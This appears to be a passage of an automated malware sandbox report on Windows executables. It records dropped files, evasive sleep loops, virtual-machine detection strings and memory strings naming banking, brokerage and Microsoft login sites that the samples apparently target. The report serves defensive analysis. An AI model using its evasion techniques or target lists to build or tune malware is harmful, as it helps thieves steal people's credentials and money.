Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\Qt5WinExtras.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-ARFBB.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\msvcr120.dll (copy)	Jump to dropped file

Found large amount of non-executed APIs

Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe

API coverage: 6.1 %

May sleep (evasive loops) to hinder dynamic analysis

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe TID: 3224	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe TID: 408	Thread sleep count: 89 > 30	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe TID: 7064	Thread sleep count: 1771 > 30	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe TID: 7064	Thread sleep time: -354200s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe TID: 408	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe TID: 1272	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe TID: 2584	Thread sleep count: 175 > 30	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe TID: 2584	Thread sleep count: 63 > 30	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe TID: 4444	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe TID: 4280	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe TID: 6112	Thread sleep count: 118 > 30
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe TID: 6112	Thread sleep count: 59 > 30
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe TID: 6112	Thread sleep count: 47 > 30
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe TID: 7336	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe TID: 1960	Thread sleep count: 159 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2636	Thread sleep time: -922337203685477s >= -30000s

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Sample execution stops while process was sleeping (likely an evasion)

Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Last function: Thread delayed
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Last function: Thread delayed
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Last function: Thread delayed

Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe

Code function: 10_2_00CF46C6 FindFirstFileExW,

10_2_00CF46C6

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	File opened: C:\Users\user\AppData\Local\Temp\7zS76DB.tmp\	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	File opened: C:\Users\user\AppData\Local\Temp\7zS76DB.tmp\__data__\	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior

Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 2012 Server Standard without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Essential Server Solutions without Hyper-V
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3401785984.0000000001337000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: #Windows 10 Microsoft Hyper-V Server
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Microsoft Hyper-V Server
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Standard without Hyper-V
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Microsoft Hyper-V Server
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 11 Server Enterprise without Hyper-V (full)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2012 Server Datacenter without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 2016 Server Standard without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Standard without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 11 Server Enterprise without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3405203148.00000000017D7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8f
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3344538546.00000000076A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: billing_address_id.comVMware20,116964288
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: (Windows 2012 R2 Microsoft Hyper-V Server
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 6Windows 2012 R2 Server Standard without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Microsoft Hyper-V Server
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Standard without Hyper-V
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Datacenter without Hyper-V (core)
Source: pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, 00000008.00000002.3404516846.000000000116B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000&
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Datacenter without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 0Windows 8 Server Standard without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 6Windows 8.1 Essential Server Solutions without Hyper-V
Source: pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, 00000008.00000002.3404516846.000000000116B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: #disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3344538546.00000000076A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: vmware
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3344538546.00000000076A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ebrokers.co.inVMware20,11696428655d
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Standard without Hyper-V
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8 Essential Server Solutions without Hyper-V
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2012 Server Datacenter without Hyper-V (full)
Source: MSBuild.exe, 00000021.00000002.2873629498.0000000003015000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \qemu-ga.exe
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Essential Server Solutions without Hyper-V
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 8Windows 2012 R2 Server Enterprise without Hyper-V (full)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2016 Server Datacenter without Hyper-V (full)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3344538546.00000000076A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, 00000008.00000003.3017436953.0000000000FB0000.00000004.00001000.00020000.00000000.sdmp, pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, 00000008.00000003.3024612360.0000000000FB0000.00000004.00001000.00020000.00000000.sdmp, pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, 00000008.00000003.3052210818.0000000000FB0000.00000004.00001000.00020000.00000000.sdmp, tDrDIT3EJ93dpzmmxTIMr4ah.exe, 0000000D.00000003.3350733727.0000000000FE0000.00000004.00001000.00020000.00000000.sdmp, tDrDIT3EJ93dpzmmxTIMr4ah.exe, 0000000D.00000003.3350390503.0000000000FE0000.00000004.00001000.00020000.00000000.sdmp, tDrDIT3EJ93dpzmmxTIMr4ah.exe, 0000000D.00000003.3352792646.0000000000FE0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: \SystemRoot\system32\ntkrnlm.exeSDT\VBOX__
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8 Server Enterprise without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: "Windows 8 Microsoft Hyper-V Server
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8.1 Server Datacenter without Hyper-V (full)
Source: tDrDIT3EJ93dpzmmxTIMr4ah.exe, 0000000D.00000002.3405422471.0000000000DCE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 11 Server Datacenter without Hyper-V (full)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Standard without Hyper-V
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.2913797282.00000000017EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Microsoft Hyper-V Server
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3344538546.00000000076A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,116
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2012 Server Enterprise without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3405203148.00000000017E9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}5H
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Enterprise without Hyper-V (full)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Datacenter without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Standard without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Essential Server Solutions without Hyper-V
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3344538546.00000000076A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Standard without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Hyper-V (guest)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3344538546.00000000076A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s.portal.azure.comVMware20,11696428655
Source: pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, 00000008.00000002.3404516846.000000000116B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}&
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Essential Server Solutions without Hyper-V
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Microsoft Hyper-V Server
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Datacenter without Hyper-V (full)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3344538546.00000000076A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000DE7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: ~VirtualMachineTypes
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000DE7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: ]DLL_Loader_VirtualMachine
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Microsoft Hyper-V Server
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000DE7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: DLL_Loader_Marker]DLL_Loader_VirtualMachineZDLL_Loader_Reloc_Unit
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: /Windows 2012 R2 Server Standard without Hyper-V
Source: pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, 00000008.00000003.2982629679.0000000000FB0000.00000004.00001000.00020000.00000000.sdmp, tDrDIT3EJ93dpzmmxTIMr4ah.exe, 0000000D.00000003.3347867073.0000000000FE0000.00000004.00001000.00020000.00000000.sdmp, 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000003.2872479218.0000000000B60000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: \SystemRoot\system32\ntkrnlmp.exeST\VBOX__
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3344538546.00000000076A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .comVMware20,116964288
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: )Windows 8 Server Standard without Hyper-V
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Standard without Hyper-V
Source: pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, 00000008.00000003.2983649018.0000000000FB0000.00000004.00001000.00020000.00000000.sdmp, tDrDIT3EJ93dpzmmxTIMr4ah.exe, 0000000D.00000003.3348492841.0000000000FE0000.00000004.00001000.00020000.00000000.sdmp, 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000003.2873237743.0000000000B60000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: \SystemRoot\system32\ntkrnmp.exeSDT\VBOX__
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2016 Server Datacenter without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Enterprise without Hyper-V (full)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Datacenter without Hyper-V (full)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2016 Server Enterprise without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: %Windows 2012 Microsoft Hyper-V Server
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Hyper-V
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: $Windows 8.1 Microsoft Hyper-V Server
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: ,Windows 2012 Server Standard without Hyper-V
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 10 Server Datacenter without Hyper-V (full)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Microsoft Hyper-V Server
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Enterprise without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3405203148.00000000017D7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: MSBuild.exe, 00000021.00000002.2873629498.0000000003015000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \qemu-ga.exe@\]q
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 8Windows 2012 R2 Server Datacenter without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Essential Server Solutions without Hyper-V
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Essential Server Solutions without Hyper-V
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3405203148.000000000180F000.00000004.00000020.00020000.00000000.sdmp, 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3401785984.0000000001386000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.0000000001615000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000159A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 8Windows 2012 R2 Server Datacenter without Hyper-V (full)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Enterprise without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Standard without Hyper-V (core)
